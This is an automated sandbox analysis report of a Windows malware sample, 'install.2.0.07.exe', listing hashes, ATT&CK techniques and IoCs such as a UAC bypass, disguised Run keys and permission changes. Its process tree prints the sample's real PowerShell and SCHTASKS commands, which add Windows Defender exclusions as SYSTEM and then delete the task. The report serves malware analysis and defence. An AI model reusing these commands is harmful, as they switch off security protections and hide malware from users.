e6a818c2d499d5b319c11073cdac944a9db09c3c67da2805f8dedf4b42a83211

Analysis

max time kernel
131s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/10/2026, 15:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.07.exe
Size 30.5MB
Sample261024-tch5racv9p
SHA256 e6a818c2d499d5b319c11073cdac944a9db09c3c67da2805f8dedf4b42a83211
MD5 6dbd377d9e331dd6c1c41d7351f5e33b
SHA1 f7838c232213266b0fc0a361df0d00a1348f78f0
SHA512 129670e1b9b5d96f92a693d2a7416e74e26ccd79158efff09bee127bd0a32d4efd807cd31ea2dc46ec92a7747d336386e6f46d92324c9f93d49761690f8c5f6a
SSDEEP 196608:TZKC/p+HINcZBAwLYhuR9lfn+OfIwYooiJiGD5y4IIYCYo:4C/p+HuPOc4V
TLSH
T10867181BFA809EB7F546963548DB4BA07372E9761752078F70B0B32DBFAE3802E81545
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	EJAvzN.exe

Windows security bypass 2 TTPs 12 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\qQ9ZT1 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\EJAvzN = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1340	powershell.exe
1452	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	EJAvzN.exe

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
1976	icacls.exe
4904	icacls.exe
5360	icacls.exe
952	takeown.exe
4768	icacls.exe
5448	icacls.exe
5792	icacls.exe
3768	icacls.exe
4928	icacls.exe
3240	icacls.exe
3944	icacls.exe
5116	icacls.exe
5300	icacls.exe
5368	icacls.exe
3152	icacls.exe
5628	icacls.exe
204	icacls.exe
896	icacls.exe
3044	icacls.exe
912	icacls.exe
3724	icacls.exe
5392	takeown.exe
2720	icacls.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 6 IoCs

pid	Process
6052	HSN0mu.exe
6064	HSN0mu.exe
604	EJAvzN.exe
1952	EJAvzN.exe
2684	EJAvzN.exe
5500	sJH1s.exe

Loads dropped DLL 6 IoCs

pid	Process
6052	HSN0mu.exe
6064	HSN0mu.exe
604	EJAvzN.exe
1952	EJAvzN.exe
2684	EJAvzN.exe
5500	sJH1s.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5360	icacls.exe
952	takeown.exe
3152	icacls.exe
3768	icacls.exe
5628	icacls.exe
2720	icacls.exe
1976	icacls.exe
4904	icacls.exe
3044	icacls.exe
4928	icacls.exe
4768	icacls.exe
3944	icacls.exe
912	icacls.exe
3240	icacls.exe
3724	icacls.exe
5116	icacls.exe
5392	takeown.exe
5300	icacls.exe
5368	icacls.exe
5448	icacls.exe
5792	icacls.exe
204	icacls.exe
896	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\qQ9ZT1\\HSN0mu.exe\""	HSN0mu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\EJAvzN\\EJAvzN.exe\""	EJAvzN.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4288	cmd.exe
4572	cmd.exe
5396	cmd.exe
2604	cmd.exe
4684	cmd.exe
3528	cmd.exe
3136	cmd.exe
1460	cmd.exe
5668	cmd.exe
5336	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	HSN0mu.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\EJAvzN\EJAvzN.exe	HSN0mu.exe
File created	C:\Program Files (x86)\EJAvzN\XPSPLOG.dll	HSN0mu.exe
File opened for modification	C:\Program Files (x86)\p8tYl39Q5\sJH1s.exe	EJAvzN.exe
File created	C:\Program Files (x86)\p8tYl39Q5\image.png	EJAvzN.exe
File created	C:\Program Files (x86)\p8tYl39Q5\XPSPLOG.dll	EJAvzN.exe
File opened for modification	C:\Program Files (x86)\p8tYl39Q5\XPSPLOG.dll	EJAvzN.exe
File created	C:\Program Files (x86)\EJAvzN\image.png	HSN0mu.exe
File opened for modification	C:\Program Files (x86)\p8tYl39Q5	EJAvzN.exe
File created	C:\Program Files (x86)\p8tYl39Q5\sJH1s.exe	EJAvzN.exe
File opened for modification	C:\Program Files (x86)\EJAvzN\XPSPLOG.dll	HSN0mu.exe
File opened for modification	C:\Program Files (x86)\EJAvzN\image.png	HSN0mu.exe
File opened for modification	C:\Program Files (x86)\EJAvzN\thumbs.db	HSN0mu.exe
File opened for modification	C:\Program Files (x86)\p8tYl39Q5\thumbs.db	EJAvzN.exe
File opened for modification	C:\Program Files (x86)\EJAvzN	HSN0mu.exe
File created	C:\Program Files (x86)\EJAvzN\thumbs.db	HSN0mu.exe
File opened for modification	C:\Program Files (x86)\EJAvzN\EJAvzN.exe	HSN0mu.exe
File opened for modification	C:\Program Files (x86)\p8tYl39Q5\image.png	EJAvzN.exe
File created	C:\Program Files (x86)\p8tYl39Q5\thumbs.db	EJAvzN.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5896	sc.exe
4044	sc.exe
5140	sc.exe
1780	sc.exe
1840	sc.exe
2552	sc.exe
4212	sc.exe
3596	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\ScreenSaveActive = "0"	EJAvzN.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	EJAvzN.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\SCRNSAVE.EXE	EJAvzN.exe

Executes a command shell one-liner 1 TTPs 26 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2236	cmd.exe
1620	cmd.exe
3236	cmd.exe
4408	cmd.exe
1112	cmd.exe
2632	cmd.exe
2404	cmd.exe
5536	cmd.exe
4736	cmd.exe
4480	cmd.exe
1660	cmd.exe
696	cmd.exe
2056	cmd.exe
3356	cmd.exe
1116	cmd.exe
5428	cmd.exe
2260	cmd.exe
3520	cmd.exe
3156	cmd.exe
2612	cmd.exe
3672	cmd.exe
568	cmd.exe
6060	cmd.exe
1496	cmd.exe
4892	cmd.exe
4280	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.07.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.07.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	HSN0mu.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	HSN0mu.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	EJAvzN.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	EJAvzN.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EJAvzN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sJH1s.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EJAvzN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EJAvzN.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\ScreenSaveActive = "0"	EJAvzN.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	EJAvzN.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	EJAvzN.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\SCRNSAVE.EXE	EJAvzN.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5896	schtasks.exe
4756	schtasks.exe
4956	schtasks.exe
4796	schtasks.exe
4684	schtasks.exe
5140	schtasks.exe
6040	schtasks.exe
4356	schtasks.exe
5544	schtasks.exe
5852	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5484	install.2.0.07.exe
5484	install.2.0.07.exe
5484	install.2.0.07.exe
5484	install.2.0.07.exe
5484	install.2.0.07.exe
5484	install.2.0.07.exe
5484	install.2.0.07.exe
5484	install.2.0.07.exe
5484	install.2.0.07.exe
5484	install.2.0.07.exe
5484	install.2.0.07.exe
5484	install.2.0.07.exe
5484	install.2.0.07.exe
5484	install.2.0.07.exe
5484	install.2.0.07.exe
5484	install.2.0.07.exe
5484	install.2.0.07.exe
5484	install.2.0.07.exe
5484	install.2.0.07.exe
5484	install.2.0.07.exe
5484	install.2.0.07.exe
5484	install.2.0.07.exe
5484	install.2.0.07.exe
5484	install.2.0.07.exe
5484	install.2.0.07.exe
5484	install.2.0.07.exe
5484	install.2.0.07.exe
5484	install.2.0.07.exe
5484	install.2.0.07.exe
5484	install.2.0.07.exe
5484	install.2.0.07.exe
5484	install.2.0.07.exe
6052	HSN0mu.exe
6052	HSN0mu.exe
6052	HSN0mu.exe
6052	HSN0mu.exe
6052	HSN0mu.exe
6052	HSN0mu.exe
6052	HSN0mu.exe
6052	HSN0mu.exe
6052	HSN0mu.exe
6052	HSN0mu.exe
6052	HSN0mu.exe
6052	HSN0mu.exe
6052	HSN0mu.exe
6052	HSN0mu.exe
6052	HSN0mu.exe
6052	HSN0mu.exe
6052	HSN0mu.exe
6052	HSN0mu.exe
6052	HSN0mu.exe
6052	HSN0mu.exe
6052	HSN0mu.exe
6052	HSN0mu.exe
6052	HSN0mu.exe
6052	HSN0mu.exe
6052	HSN0mu.exe
6052	HSN0mu.exe
6052	HSN0mu.exe
6052	HSN0mu.exe
6052	HSN0mu.exe
6052	HSN0mu.exe
6052	HSN0mu.exe
6052	HSN0mu.exe

Suspicious behavior: LoadsDriver 8 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious use of AdjustPrivilegeToken 27 IoCs

description	pid	Process
Token: SeDebugPrivilege	1340	powershell.exe
Token: SeIncreaseQuotaPrivilege	1340	powershell.exe
Token: SeSecurityPrivilege	1340	powershell.exe
Token: SeTakeOwnershipPrivilege	1340	powershell.exe
Token: SeLoadDriverPrivilege	1340	powershell.exe
Token: SeSystemProfilePrivilege	1340	powershell.exe
Token: SeSystemtimePrivilege	1340	powershell.exe
Token: SeProfSingleProcessPrivilege	1340	powershell.exe
Token: SeIncBasePriorityPrivilege	1340	powershell.exe
Token: SeCreatePagefilePrivilege	1340	powershell.exe
Token: SeBackupPrivilege	1340	powershell.exe
Token: SeRestorePrivilege	1340	powershell.exe
Token: SeShutdownPrivilege	1340	powershell.exe
Token: SeDebugPrivilege	1340	powershell.exe
Token: SeSystemEnvironmentPrivilege	1340	powershell.exe
Token: SeRemoteShutdownPrivilege	1340	powershell.exe
Token: SeUndockPrivilege	1340	powershell.exe
Token: SeManageVolumePrivilege	1340	powershell.exe
Token: 33	1340	powershell.exe
Token: 34	1340	powershell.exe
Token: 35	1340	powershell.exe
Token: 36	1340	powershell.exe
Token: SeTakeOwnershipPrivilege	952	takeown.exe
Token: SeRestorePrivilege	5368	icacls.exe
Token: SeTakeOwnershipPrivilege	5392	takeown.exe
Token: SeRestorePrivilege	896	icacls.exe
Token: SeDebugPrivilege	1452	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 6052 wrote to memory of 1340	6052	HSN0mu.exe	92
PID 6052 wrote to memory of 3528	6052	HSN0mu.exe	94
PID 3528 wrote to memory of 4684	3528	cmd.exe	97
PID 3528 wrote to memory of 2736	3528	cmd.exe	99
PID 6052 wrote to memory of 3136	6052	HSN0mu.exe	100
PID 3528 wrote to memory of 3824	3528	cmd.exe	104
PID 6052 wrote to memory of 1460	6052	HSN0mu.exe	105
PID 3136 wrote to memory of 5852	3136	cmd.exe	106
PID 3136 wrote to memory of 2856	3136	cmd.exe	108
PID 1460 wrote to memory of 5140	1460	cmd.exe	109
PID 3136 wrote to memory of 2828	3136	cmd.exe	111
PID 1460 wrote to memory of 3036	1460	cmd.exe	112
PID 1460 wrote to memory of 2088	1460	cmd.exe	113
PID 6052 wrote to memory of 5668	6052	HSN0mu.exe	114
PID 5668 wrote to memory of 5896	5668	cmd.exe	116
PID 5668 wrote to memory of 6076	5668	cmd.exe	117
PID 6052 wrote to memory of 5396	6052	HSN0mu.exe	122
PID 5668 wrote to memory of 3152	5668	cmd.exe	124
PID 5396 wrote to memory of 6040	5396	cmd.exe	125
PID 5396 wrote to memory of 4884	5396	cmd.exe	126
PID 5396 wrote to memory of 2148	5396	cmd.exe	128
PID 4736 wrote to memory of 2344	4736	cmd.exe	131
PID 4480 wrote to memory of 2536	4480	cmd.exe	132
PID 2236 wrote to memory of 4172	2236	cmd.exe	133
PID 2260 wrote to memory of 1608	2260	cmd.exe	134
PID 6052 wrote to memory of 604	6052	HSN0mu.exe	135
PID 604 wrote to memory of 3236	604	EJAvzN.exe	140
PID 604 wrote to memory of 1620	604	EJAvzN.exe	139
PID 604 wrote to memory of 1660	604	EJAvzN.exe	141
PID 3236 wrote to memory of 3724	3236	cmd.exe	146
PID 604 wrote to memory of 3520	604	EJAvzN.exe	147
PID 604 wrote to memory of 696	604	EJAvzN.exe	149
PID 604 wrote to memory of 3156	604	EJAvzN.exe	151
PID 604 wrote to memory of 4684	604	EJAvzN.exe	153
PID 604 wrote to memory of 2056	604	EJAvzN.exe	154
PID 3156 wrote to memory of 3944	3156	cmd.exe	157
PID 4684 wrote to memory of 4956	4684	cmd.exe	158
PID 2056 wrote to memory of 4208	2056	cmd.exe	159
PID 4208 wrote to memory of 3084	4208	net.exe	160
PID 4684 wrote to memory of 1972	4684	cmd.exe	161
PID 604 wrote to memory of 5536	604	EJAvzN.exe	162
PID 2056 wrote to memory of 1780	2056	cmd.exe	163
PID 5536 wrote to memory of 4768	5536	cmd.exe	165
PID 2056 wrote to memory of 5140	2056	cmd.exe	167
PID 4684 wrote to memory of 3164	4684	cmd.exe	168
PID 604 wrote to memory of 2404	604	EJAvzN.exe	169
PID 2056 wrote to memory of 2776	2056	cmd.exe	171
PID 2776 wrote to memory of 5260	2776	net.exe	172
PID 2404 wrote to memory of 5116	2404	cmd.exe	173
PID 2056 wrote to memory of 4044	2056	cmd.exe	174
PID 2056 wrote to memory of 5896	2056	cmd.exe	176
PID 604 wrote to memory of 5428	604	EJAvzN.exe	175
PID 5428 wrote to memory of 3768	5428	cmd.exe	178
PID 2056 wrote to memory of 5752	2056	cmd.exe	179
PID 5752 wrote to memory of 4040	5752	net.exe	180
PID 604 wrote to memory of 3356	604	EJAvzN.exe	181
PID 3356 wrote to memory of 3152	3356	cmd.exe	183
PID 2056 wrote to memory of 3596	2056	cmd.exe	184
PID 604 wrote to memory of 6060	604	EJAvzN.exe	185
PID 2056 wrote to memory of 4212	2056	cmd.exe	187
PID 6060 wrote to memory of 912	6060	cmd.exe	189
PID 2056 wrote to memory of 2516	2056	cmd.exe	188
PID 2516 wrote to memory of 1080	2516	net.exe	190
PID 604 wrote to memory of 2612	604	EJAvzN.exe	191

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	EJAvzN.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.07.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.07.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:5484

C:\Users\Public\qQ9ZT1\HSN0mu.exe
"C:\Users\Public\qQ9ZT1\HSN0mu.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:6052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:1340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\qQ9ZT1\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3528
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\qQ9ZT1\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4684
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2736
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3136
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5852
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2856
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1460
- - C:\Windows\system32\schtasks.exe
